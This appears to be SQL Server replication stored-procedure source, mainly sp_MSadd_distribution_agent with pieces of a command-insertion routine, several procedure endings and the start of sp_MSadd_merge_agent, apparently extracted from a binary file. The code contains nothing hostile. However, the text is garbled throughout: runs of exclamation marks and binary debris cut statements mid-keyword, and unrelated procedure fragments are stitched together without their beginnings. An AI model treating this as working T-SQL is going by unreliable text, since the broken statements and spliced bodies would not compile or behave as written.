			@cmd_type, 
			substring(@15data,21 ,4), 
			@originator_id, 
			substring(@15data,25 ,4), 
			convert(bit,substring(@15data,33 ,1)), 
			substring(@15data,40,@cmd_data_len) )
    end

    IF @16data is null
      return
    IF datalength( @16data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @16data, 34, 2 )
        select @orig_srv_len = substring( @16data, 36, 2 )
        select @orig_db_len = substring( @16data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @16data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @16data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @16data, 40 + @cmd_data_len, @orig_srv_len ), substring( @16data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@16data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@16data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @16seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@16seqno,
			@cmd_type, 
			substring(@16data,21 ,4), 
			@originator_id, 
			substring(@16data,25 ,4), 
			convert(bit,substring(@16data,33 ,1)), 
			substring(@16data,40,@cmd_data_len) )
    end


    IF @17data is null
      return
    IF datalength( @17data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @17data, 34, 2 )
        select @orig_srv_len = substring( @17data, 36, 2 )
        select @orig_db_len = substring( @17data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @17data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @17data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @17data, 40 + @cmd_data_len, @orig_srv_len ), substring( @17data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@17data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@17data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @17seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@17seqno,
			@cmd_type, 
			substring(@17data,21 ,4), 
			@originator_id, 
			substring(@17data,25 ,4), 
			convert(bit,substring(@17data,33 ,1)), 
			substring(@17data,40,@cmd_data_len) )
    end


    IF @18data is null
      return
    IF datalength( @18data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @18data, 34, 2 )
        select @orig_srv_len = substring( @18data, 36, 2 )
        select @orig_db_len = substring( @18data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @18data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @18data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @18data, 40 + @cmd_data_len, @orig_srv_len ), substring( @18data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@18data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@18data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @18seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@publisher_database_id, 
			@18seqno,
			@cmd_type, 
			substring(@18data,21 ,4), 
			@originator_id, 
			substring(@18data,25 ,4), 
			convert(bit,substring(@18data,33 ,1)), 
			substring(@18data,40,@cmd_data_len) )
    end


    IF @19data is null
      return
    IF datalength( @19data ) > 39
    begin
        -- Get the originator_id for the first command 
        select @cmd_data_len = substring( @19data, 34, 2 )
        select @orig_srv_len = substring( @19data, 36, 2 )
        select @orig_db_len = substring( @19data, 38, 2 )
        if @orig_srv_len <> 0 and @orig_db_len <> 0 
        begin 
            set @originator_id = null 
            select @originator_id = id from MSrepl_originators where
                publisher_database_id = @publisher_database_id 
                and UPPER(srvname) = upper(convert(sysname, substring( @19data, 40 + @cmd_data_len, @orig_srv_len )))
                and dbname = substring( @19data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len )
            if @originator_id is null
            begin
                insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                    (@publisher_database_id, substring( @19data, 40 + @cmd_data_len, @orig_srv_len ), substring( @19data, 40 + @cmd_data_len + @orig_srv_len, @orig_db_len ))
                select @originator_id = @@identity
            end
        end
        else
            select @originator_id = 0

        -- Now insert into MSrepl_commands
		select @cmd_type = substring(@19data,29,4)
		if( @cmd_type in( 37,38 ) )
		begin
			select @artid = substring(@19data,21,4)
			select @cmd_type = 38 - @cmd_type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artid, @cmd_type, @19seqno  
			select @cmd_type = (38 - @cmd_type) | 0x80000000
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
			VALUES (@p!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(=vPCREATE PROCEDURE sys.sp_MSadd_distribution_agent 
(
    @name sysname = NULL,
    @publisher_id smallint,
    @publisher_db sysname,
    @publication sysname,  
    @subscriber_id smallint,
    @subscriber_db sysname,
    @subscription_type int, -- have to have it to identify a distribution agent.
    @local_job bit, 

    @frequency_type int = 64,
    @frequency_interval int = 1,
    @frequency_relative_interval int = 1,
    @frequency_recurrence_factor int = 0,
    @frequency_subday int = 4,
    @frequency_subday_interval int = 5,
    @active_start_time_of_day int = 0,
    @active_end_time_of_day int = 235959,
	@active_start_date int = 0,
    @active_end_date int = 99991231,

    @retryattempts int = 10,
    @retrydelay int = 1,
    
    @command nvarchar(4000) = NULL,
    @agent_id int = NULL OUTPUT,
    @distribution_jobid binary(16) = NULL OUTPUT,
	@update_mode int = 0, 

    -- Agent offload
    @offloadagent bit = 0,
    @offloadserver sysname = NULL,

	@dts_package_name sysname = NULL,
	@dts_package_password nvarchar(524) = NULL,
	@dts_package_location int = 0,

	-- used for subscription based security
	@subscriber_security_mode smallint = NULL,
	@subscriber_login sysname = NULL,
	@subscriber_password nvarchar(524) = NULL,
	-- used for jobstep level proxy account
	@job_login		nvarchar(257) = NULL,
	@job_password	sysname = NULL,
	@internal		sysname = N'PRE-YUKON',		-- Can be: 'PRE-YUKON', 'YUKON ADD SUB', 'YUKON ADD AGENT'
	
	-- used for heterogeneous subscriptions
	@subscriber_provider sysname = NULL,
	@subscriber_datasrc nvarchar(4000) = NULL,
	@subscriber_location nvarchar(4000) = NULL,
	@subscriber_provider_string nvarchar(4000) = NULL,
	@subscriber_catalog sysname = NULL
) 
AS
BEGIN
    
	SET NOCOUNT ON

	/*
	** Declarations.
	*/
	DECLARE	@retcode					int,
			@database					sysname,
			@profile_id					int,
			@distribution_type			int,
			@publisher					sysname,
			@publisher_type				sysname,
			@loc_publisher_db			sysname,
			@category_name				sysname,
			@subscriber					sysname,
			@publisher_database_id		int,
			@queue_server				sysname,
			@queue_id					sysname,
			@distrib_job_step_uid 		uniqueidentifier,
			@subscriber_type			int,
			@dsn_subscriber 			int, 
			@oledb_subscriber 			int,
			@dsn_dbname					sysname,
			@optional_cmdline			nvarchar(4000),
			@independent_agent			int,
			@job_existing 				bit,
			@comments nvarchar(255)
				
	SELECT @dsn_subscriber = 1, 
			@oledb_subscriber = 3,
			@dsn_dbname = formatmessage(20586)

    -- Security Check: require sysadmin
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN 1
	END

    IF (sys.fn_MSrepl_isdistdb (DB_NAME()) != 1)
    BEGIN
        -- "sp_MSadd_subscription can only be executed in the distribution database."
        RAISERROR(21482, 16, -1, 'sp_MSadd_subscription', 'distribution')
        RETURN 1
    END

	IF @offloadagent IS NOT NULL
		AND @offloadagent != 0
	BEGIN
		-- "Parameter '@offloadagent' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadagent')
		RETURN 1
	END

	IF ISNULL(@offloadserver, N'') != N''
	BEGIN
		-- "Parameter '@offloadserver' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadserver')
		RETURN 1
	END

	/*
    ** Initializations
    */
    select @database = DB_NAME()

	-- Adjust the optional_commandline
    SELECT @optional_cmdline = ISNULL(RTRIM(LTRIM(@command)), N'')
    SELECT @command = NULL

    -- ONLY ALLOW THIS IN 8.0 or less CASE
	IF @internal = N'PRE-YUKON'
	BEGIN
		-- if @name is not null, the proc is from DMO scripting
		-- check to see if the job is there or not, if not, reset @job_existing and
		-- @name values. This is for the case when the user generate the script at
		-- the publisher but did not re-create repl jobs at the distributor.
		if @local_job = 1 and @name is not null and 
	       @name <> N''
		begin
			if not exists (select * from msdb.dbo.sysjobs_view 
			where name = @name 
				and UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
				and master_server = 0)
			begin
				set @name = null
			end
		end
	END
	
    BEGIN TRAN tran_sp_MSadd_distribution_agent
    SAVE TRAN tran_sp_MSadd_distribution_agent
	
    /* Code for distribution agent type in MSagent_profiles */
    SELECT @distribution_type = 3

    SELECT @profile_id = profile_id
    FROM msdb..MSagent_profiles
    WHERE agent_type = @distribution_type
        AND def_profile = 1

    IF @profile_id IS NULL
        GOTO UNDO

    SELECT	@publisher = srvname
    FROM	master.dbo.sysservers
    WHERE	srvid = @publisher_id

    SELECT	@subscriber = srvname
    FROM	master.dbo.sysservers
    WHERE	srvid = @subscriber_id

    SELECT	@publisher_database_id = id
    FROM	MSpublisher_databases
    WHERE	publisher_id = @publisher_id
      AND	publisher_db = @publisher_db
	
	-- Get publisher type
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher,
														@publisher_type	= @publisher_type OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		GOTO UNDO
	END

   	-- For naming purposes, use @publisher instead of @publisher_db for HREPL
   	-- publishers that don't support publisher db notion
    IF @publisher_type LIKE N'ORACLE%'
    BEGIN
    	SELECT @loc_publisher_db = @publisher
    END
    ELSE
    BEGIN
    	SELECT @loc_publisher_db = @publisher_db
    END

	-- Encrypt the dts password before storing, but only do so if this 
    -- procedure is called from sp_addpushsubscription_agent
    IF @internal <> N'PRE-YUKON'
    BEGIN
	    EXEC @retcode = sys.sp_MSreplencrypt @dts_package_password OUTPUT
	    IF @@ERROR <> 0 OR  @retcode <> 0
		    GOTO UNDO
	END
	
	IF @internal = N'PRE-YUKON'
		OR @internal = N'YUKON ADD AGENT'
	BEGIN
		-- if this is a pull or anon case and a value is not provided for the 
		-- security mode then we will default the value to be integrated. this 
		-- makes sense because the subsec mode for pull is only used in the queued 
		-- case and in that case we always want the sub to default to integrated
		IF @subscription_type != 0
			AND @subscriber_security_mode is NULL
		BEGIN
			SELECT @subscriber_security_mode = 1
		END

		-- if the subscriber sec info was not provided then default
		-- the vals to the values provided durring sp_addsubscriber...
		-- this is only possible when called by SYSADMIN or 8.0 pub.
		IF @subscriber_security_mode IS NULL
		BEGIN
			SELECT @subscriber_security_mode = security_mode,
					@subscriber_login = login,
					@subscriber_password = password
				FROM MSsubscriber_info 
				WHERE UPPER(publisher) = UPPER(@publisher) 
					AND UPPER(subscriber) = UPPER(@subscriber)

			IF @subscriber_security_mode IS NULL
			BEGIN
				SELECT @subscriber_security_mode = 1,
						@subscriber_login = '',
						@subscriber_password = newid()

				-- Encrypt the password before storing
				EXEC @retcode = sys.sp_MSreplencrypt @subscriber_password OUTPUT
				IF @@ERROR <> 0 OR  @retcode <> 0
					GOTO UNDO
			END
		END
		ELSE
		BEGIN
			-- if WINDOWS authentication then clear out the login/password
			IF @subscriber_security_mode = 1
			BEGIN
				select @subscriber_login = '',
						@subscriber_password = newid()
			END

			-- Encrypt the password before storing
			EXEC @retcode = sys.sp_MSreplencrypt @subscriber_password OUTPUT
			IF @@ERROR <> 0 OR  @retcode <> 0
				GOTO UNDO
		END

		-- Get default task parameter values from MSsubscriber_info 
		SELECT @subscriber_type = type
			FROM MSsubscriber_info 
			WHERE UPPER(publisher) = UPPER(@publisher) 
				AND UPPER(subscriber) = UPPER(@subscriber)

		-- Only SQL Server and OLEDB subscriber support dts
		IF @dts_package_name IS NOT NULL
			AND @subscriber_type NOT IN (0, 3)
		BEGIN
			-- Only sqlserver or oledb sub are allowed
			RAISERROR(21170, 16, !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(o,5vP-1)
			GOTO UNDO
		END	
	END
	
	IF @internal = N'PRE-YUKON'
		OR @internal = N'YUKON ADD SUB'
	BEGIN
		IF @internal = N'YUKON ADD SUB'
		BEGIN
			-- When calling it from internal = 'YUKON ADD SUB' we know 
			-- that the security information should not have been provided
			SELECT @subscriber_security_mode = 1,
					@subscriber_login = '',
					@subscriber_password = newid()

			-- Encrypt the password before storing
			EXEC @retcode = sys.sp_MSreplencrypt @subscriber_password OUTPUT
			IF @@ERROR <> 0 OR  @retcode <> 0
				GOTO UNDO
		END
		
		-- Try to drop it first
		EXEC @retcode = sys.sp_MSdrop_distribution_agent 
							@publisher_id = @publisher_id,
							@publisher_db = @publisher_db,
							@publication = @publication,
							@subscriber_id = @subscriber_id,
							@subscriber_db = @subscriber_db,
							@subscription_type = @subscription_type
		IF @@ERROR <> 0 or @retcode <> 0
			GOTO UNDO

	    --
	    -- If this is a queued subscription
	    -- Process the queue creation
	    --
	    if (@update_mode in (2,3,7))
	    begin
	        --
	        -- MSMQ Queue being used
	        --
	        exec @retcode = sys.sp_MSaddmqforsubscription @queue_server output, @queue_id output
	        if (@retcode != 0 or @@error != 0)
	            goto UNDO
	    end
	    else if (@update_mode in (4,5,6))
	    begin
	        --
	        -- SQL Queue being used
	        --
	        select @queue_id = N'mssqlqueue'
	    end
		
	    /* 
	    ** Insert row
	    */
	    INSERT INTO MSdistribution_agents (name, publisher_database_id, publisher_id, publisher_db, publication, 
	            subscriber_id, subscriber_db, subscription_type, local_job, 
	            subscription_guid, profile_id, queue_id, queue_server,
				dts_package_name, dts_package_password, dts_package_location,
				subscriber_security_mode, subscriber_login, subscriber_password)
	        VALUES ('',@publisher_database_id, @publisher_id, @publisher_db, @publication, 
	            @subscriber_id, @subscriber_db, @subscription_type, @local_job, 
	            newid(), @profile_id, @queue_id, @queue_server,
				@dts_package_name, @dts_package_password, @dts_package_location,
				@subscriber_security_mode, @subscriber_login, @subscriber_password)
	    IF @@ERROR <> 0
	        GOTO UNDO
	    
	    SELECT @agent_id = @@IDENTITY
		
	    --
	    -- For independant agent - Add an entry to history to indicate the subscription is uninitialized (runstatus = 0)
	    --
	    if @publication is not null and (lower(@publication)<>'all')
	    begin
	        select @comments = isnull(formatmessage(21019), N'Message 21019')
	        exec @retcode = sys.sp_MSadd_distribution_history 
	                        	@agent_id = @agent_id
	                        	,@runstatus = 0
	                        	,@comments = @comments
	                        	,@updateable_row = 0
	                        	,@do_raiserror = 0
	        IF @@ERROR <> 0 OR @retcode <> 0
	            GOTO UNDO
	    end
	END
	ELSE IF @internal = N'YUKON ADD AGENT'
	BEGIN		
		SELECT @agent_id = id
			FROM MSdistribution_agents
			WHERE publisher_id = @publisher_id 
				AND publisher_db = @publisher_db 
				AND publication = @publication 
				AND subscriber_id = @subscriber_id 
				AND subscriber_db = @subscriber_db 
				AND subscription_type = @subscription_type

		IF @agent_id IS NULL
		BEGIN
			-- "The subscription could not be found."
			RAISERROR (20021, 16, -1)
			GOTO UNDO
		END
			
		UPDATE MSdistribution_agents
			SET dts_package_name = @dts_package_name, 
				dts_package_password = @dts_package_password, 
				dts_package_location = @dts_package_location,
				subscriber_security_mode = @subscriber_security_mode, 
				subscriber_login = @subscriber_login, 
				subscriber_password = @subscriber_password,
				subscriber_provider = @subscriber_provider,
				subscriber_datasrc  = @subscriber_datasrc,
				subscriber_location = @subscriber_location,
				subscriber_provider_string = @subscriber_provider_string,
				subscriber_catalog = @subscriber_catalog
			WHERE id = @agent_id
	END

	-- Set agent name
	SELECT @subscriber = ISNULL(@subscriber, ''),
			@subscriber_db = ISNULL(@subscriber_db, '')

	IF @name IS NULL OR @name = N''
	BEGIN
		/*
		** Sacrifice 1-2 character from each of (@publisher,@publication,
		** @publisher_db,subscriber) to allow 4 more indentity digits in
		** the distribution agent name. This will hopefully provide better
		** guarantee of agent name uniqueness.
		*/
		IF @publication is NOT NULL and (LOWER(@publication)<>'all')
		BEGIN				
			SELECT  @name = LEFT(@publisher, 21) + '-' + 
							LEFT(@loc_publisher_db, 21) + '-' + 
							LEFT(@publication, 21) + '-' + 
							LEFT(@subscriber, 21) + '-' +
							CONVERT(nvarchar(21), @agent_id)
		END
		ELSE
		BEGIN
			SELECT  @name = LEFT(@publisher, 28) + '-' + 
							LEFT(@loc_publisher_db, 28) + '-' + 
							LEFT(@subscriber, 28) + '-' + 
							CONVERT(nvarchar(28), @agent_id)
		END

		-- If creating a new job and the generated name already 
		-- exists, re-generate the name with a guid appended
		IF EXISTS
		(
			SELECT  *
				FROM	 msdb.dbo.sysjobs_view 
				WHERE	 name = @name 
					AND	 UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
					AND	 master_server = 0
		)
		BEGIN
			IF @publication is NOT NULL and (LOWER(@publication)<>'all')
			BEGIN
				SELECT  @name = fn_repluniquename(newid(), @publisher, @loc_publisher_db, @publication, @subscriber)
			END
			ELSE
			BEGIN
				SELECT  @name = fn_repluniquename(newid(), @publisher, @loc_publisher_db, @subscriber, null)
			END
		END

		SELECT @job_existing = 0
	END
	ELSE
	BEGIN
		SELECT @job_existing = 1
	END
	
	IF @internal = N'PRE-YUKON'
		OR @internal = N'YUKON ADD AGENT'
	BEGIN
		-- Reset @publication if shared agent
	    SELECT @independent_agent = independent_agent
	    	FROM dbo.MSpublications 
	    	WHERE publisher_id = @publisher_id 
	    		AND publisher_db = @publisher_db
	    		AND publication = @publication

	    IF @independent_agent = 0
			SELECT @publication = 'ALL'
		
		-- Check the existance of the package if it is at the distributor side.
		if @dts_package_name is not null 
			and @dts_package_location = 0
		begin
			exec @retcode = dbo.sp_MSrepl_validate_dts_package
				@name = @dts_package_name
			IF @@ERROR <> 0 or @retcode <> 0
				GOTO UNDO
		end
		
		-- Add Perfmon instance
		dbcc addinstance ("SQL Replication Distribution", @name)

	    IF @local_job = 1
	    BEGIN
			if @job_existing = 0
			begin
				-- Construct task command 
				SELECT @command = '-Subscriber ' + QUOTENAME(@subscriber)  + ' '

				-- DSN subscribers don't have a subscriber db name.
				-- 7.0 publisher still uses DSN. 8.0 publisher use localized '(default destination)'
				-- ActiveX may use unlocalized '(default destination)'
				IF @subscriber_db IS NOT NULL 
					AND @subscriber_db NOT IN( N'(default destination)', N'DSN', @dsn_dbname)
				BEGIN
				    SELECT @command = @command  + '-SubscriberDB ' + QUOTENAME(@subscriber_db) + ' '
				END

				SELECT @command = @command + '-Publisher ' + QUOTENAME(@publisher) + ' '
				SELECT @command = @command + '-Distributor ' + QUOTENAME(@@SERVERNAME) + ' '

				-- Always use integrated security for the local connection
				SELECT @command = @command + '-DistributorSecurityMode 1 '

				IF @independent_agent = 1
				    SELECT @command = @command + '-Publication ' + QUOTENAME(@publication) + ' '

				IF @publisher_db IS NOT NULL
				    SELECT @command = @command + '-PublisherDB ' + QUOTENAME(@publisher_db) + ' '

				IF @subscriber_type = @dsn_subscriber 
					OR @subscriber_type = @oledb_subscriber
				BEGIN
					SELECT @command = @command + '-SubscriberType ' + convert (nvarchar(10), @subscriber_type) + ' '
				END

				IF @dts_package_name IS NOT NULL
					SELE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<TT{PCT @command = @command + '-UseDTS '

				IF datalength(@command) + datalength(@optional_cmdline) > 8000
				BEGIN
					-- "The @optional_command_line is too long. Use an agent definition file."
				    RAISERROR(20018, 16, -1)
				    GOTO UNDO
				END

				SELECT @command = @command + N' ' +  @optional_cmdline + N' '
				
				DECLARE @nullchar nchar(20)
				SELECT @nullchar = NULL
				-- Get Distribution category name (assumes category_id = 10)
				select @category_name = name FROM msdb.dbo.syscategories where category_id = 10

				if @frequency_recurrence_factor is null
					select @frequency_recurrence_factor = 0
				 
				EXECUTE @retcode = dbo.sp_MSadd_repl_job
				@name = @name,
				@subsystem = 'Distribution',
				@server = @@SERVERNAME,
				@databasename = @database,
				@enabled = 1,
				@freqtype = @frequency_type,
				@freqinterval = @frequency_interval,
				@freqsubtype = @frequency_subday,
				@freqsubinterval = @frequency_subday_interval,
				@freqrelativeinterval = @frequency_relative_interval,
				@freqrecurrencefactor = @frequency_recurrence_factor,
				@activestartdate = @active_start_date,
				@activeenddate = @active_end_date,
				@activestarttimeofday = @active_start_time_of_day,
				@activeendtimeofday = @active_end_time_of_day,
				@nextrundate = 0,
				@nextruntime = 0,
				@runpriority = 0,
				@emailoperatorname = NULL,
				@retryattempts = @retryattempts,
				@retrydelay = @retrydelay,
				@command = @command,
				@loghistcompletionlevel = 0,
				@emailcompletionlevel = 0,
				@description = NULL,
				@category_name = @category_name,
				@failure_detection = 1,
				@agent_id = @agent_id,
				@job_login = @job_login,
				@job_password = @job_password,
				@job_id = @distribution_jobid OUTPUT,
				@job_step_uid = @distrib_job_step_uid OUTPUT

			   	IF @@ERROR <> 0 or @retcode <> 0
					GOTO UNDO

				-- note that we only raise the warning when called from 
				-- 'PRE-YUKON' code. when called from 'YUKON ADD AGENT' the 
				-- warning is not needed since it that case it was not implicit
				IF @internal = N'PRE-YUKON'
				BEGIN
					-- Warning: The distribution agent job has been implicitly created and will run under the SQL Server Agent Service Account.
					RAISERROR(21452, 10, -1, 'distribution')
				END
			end
			else
			begin
				-- retrieve the agent job step uid
				select @distribution_jobid = sjv.job_id,
						@distrib_job_step_uid = sjs.step_uid
				from msdb.dbo.sysjobs_view as sjv
					join msdb.dbo.sysjobsteps as sjs
						on sjv.job_id = sjs.job_id
				where sjv.name = @name
					and sjv.master_server = 0
					and UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
					and sjv.category_id = 10
					and sjs.subsystem = N'Distribution'
					and sjs.database_name = db_name()
					
				if @distribution_jobid IS NULL
				begin
					-- Message from msdb.dbo.sp_verify_job_identifiers
					RAISERROR(14262, -1, -1, 'Distribution Job', @name)          
					GOTO UNDO
				end
			end
	    END
	    ELSE 
	    BEGIN
	        -- Generate a job GUID for remote agents. This will be used by the UI to uniquely
	        -- identify rows returned by the enums
	        set @distribution_jobid = newid();
	        set @distrib_job_step_uid = NULL
	    END
	END
	ELSE IF @internal = N'YUKON ADD SUB'
	BEGIN
		-- Generate a job GUID even when we haven't created the job agent. This 
    	-- will be used by the UI to uniquely identify rows returned by the enums
		SELECT @distribution_jobid = newid(),
        		@distrib_job_step_uid  = NULL
	END

    UPDATE MSdistribution_agents 
    	SET name = ISNULL(@name, ''),
        	job_id = @distribution_jobid,
        	job_step_uid = @distrib_job_step_uid
        WHERE id = @agent_id

    IF @@ERROR <> 0
        GOTO UNDO

    --
    -- commit the transaction
    --
    COMMIT TRAN
    --
    -- all done
    --
    RETURN(0)
UNDO:
	IF @internal = N'PRE-YUKON'
		OR @internal = N'YUKON ADD SUB'
	BEGIN
		--
		-- delete the MSMQ queue if necessary
		--
		if (@update_mode in (2,3,7) and @queue_server IS NOT NULL and @queue_id IS NOT NULL)
		begin
			exec sys.sp_MSdropmqforsubscription @queue_server, @queue_id
		end
	END
	
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN tran_sp_MSadd_distribution_agent
        COMMIT TRAN
    end
    
    return(1)
END
Q(QQ(1)
				end
			end
        end
    end

    commit tran
end
^I^    @active_start_time_of_day = @active_start_time_of_day, 
        @active_end_time_of_day = @active_end_time_of_day,         
        @active_start_date = @active_start_date, 
        @active_end_date = @active_end_date,
        @optional_command_line = @optional_command_line,
        @merge_jobid = @merge_jobid OUTPUT,
        @subscription_type = @subscription_type,
        @hostname = @hostname,
		@internal = @internal,
		@publisher_engine_edition = @publisher_engine_edition
    if @retcode <> 0 or @@error <> 0
    begin
        goto FAILURE
    end
    
    commit transaction
    return (0)

FAILURE:
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    if @@TRANCOUNT = 1 
        ROLLBACK TRANSACTION 
    else
        COMMIT TRANSACTION 
    RETURN (1)
end
UaUessage
    if @heartbeat_failure = 0
        -- "Detected heartbeat for all running Replication Agents"
		set @comments = formatmessage(20556)    
	else
        -- "Could not detected heartbeat for all running Replication Agents"
		set @comments = formatmessage(20580)    

    raiserror (20554, 10, -1, @heartbeat_interval)
END
5	5@retcode = sys.sp_releaseapplock @Resource = 'Repl_Refresh_Retry_Messages', 
					                            @LockOwner =  'Transaction',
					                            @DbPrincipal =  'db_owner'
    IF @@ERROR <> 0 or @retcode <> 0
		GOTO FAILURE
			
	COMMIT TRANSACTION tr_retry_stethoscope
	
	RETURN 0
ROLLBACK_EXIT:
	ROLLBACK TRANSACTION tr_retry_stethoscope
	COMMIT TRANSACTION 
	
	RETURN 0
FAILURE:
	ROLLBACK TRANSACTION tr_retry_stethoscope
	COMMIT TRANSACTION 

	RETURN 1
END
ILI	deallocate cursorHistory

    drop table #JobHistory
end
u:su:   and agents.subscriber_db=s.subscriber_db 

        ) as sub
        where 
            @mode = @modeallsubscription -- return all subscriptions
            or (@mode in (@modetop25worstperforming, @modetop50worstperforming) and sub.mergePerformance is not null)   -- return worst 25/50 subscriptions based on perf.
            or (@mode = @modeinerroronly and sub.monitorranking = 60) -- return only ones in error 
            or (@mode = @modeinwarningonly and sub.monitorranking between 50 and 59 ) -- return only ones with warning 
            or (@mode = @modeinerrorandwarningonly and sub.monitorranking between 50 and 60 ) -- return only ones with warning or error
            or (@mode = @modesynchronizing and sub.status in (1,3,4)) -- return only ones with running agents
            or (@mode = @modenotsynchronizing and sub.status not in (1,3,4)) -- return only ones with stopped agents
        order by sub.monitorranking desc  -- highest rank will be shown first 
            ,sub.mergePerformance asc -- lowest mergePerformance first
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%H`<(	t̎vbCREATE PROCEDURE sys.sp_MSadd_merge_agent 
(
    -- not null if from scripting
    @name                           sysname = NULL,
    @publisher                      sysname,                    /* Publisher server */
    @publisher_db                   sysname,                    /* Publisher database */
    @publication                    sysname,                    /* Publication name */
    @subscriber                     sysname,                    /* Subscriber server */
    @subscriber_db                  sysname,                    /* Subscription database */
    @local_job                      bit,
    @frequency_type                 int = NULL,
    @frequency_interval             int = NULL,             
    @frequency_relative_interval    int = NULL, 
    @frequency_recurrence_factor    int = NULL, 
    @frequency_subday               int = NULL,
    @frequency_subday_interval      int = NULL,    
    @active_start_time_of_day       int = NULL, 
    @active_end_time_of_day         int = NULL,         
    @active_start_date              int = NULL, 
    @active_end_date                int = NULL,
    @optional_command_line          nvarchar(255) = '',     /* Optional command line arguments */
    @merge_jobid                    binary(16) = NULL OUTPUT,
    -- Agent offload
    @offloadagent                   bit = 0,
    @offloadserver                  sysname = NULL,
    @subscription_type              int = 0, -- 0 = push, 1 = pull
    @hostname						sysname = NULL,
    -- used for subscription based security
	@subscriber_security_mode 		smallint = NULL,
	@subscriber_login				sysname = NULL,
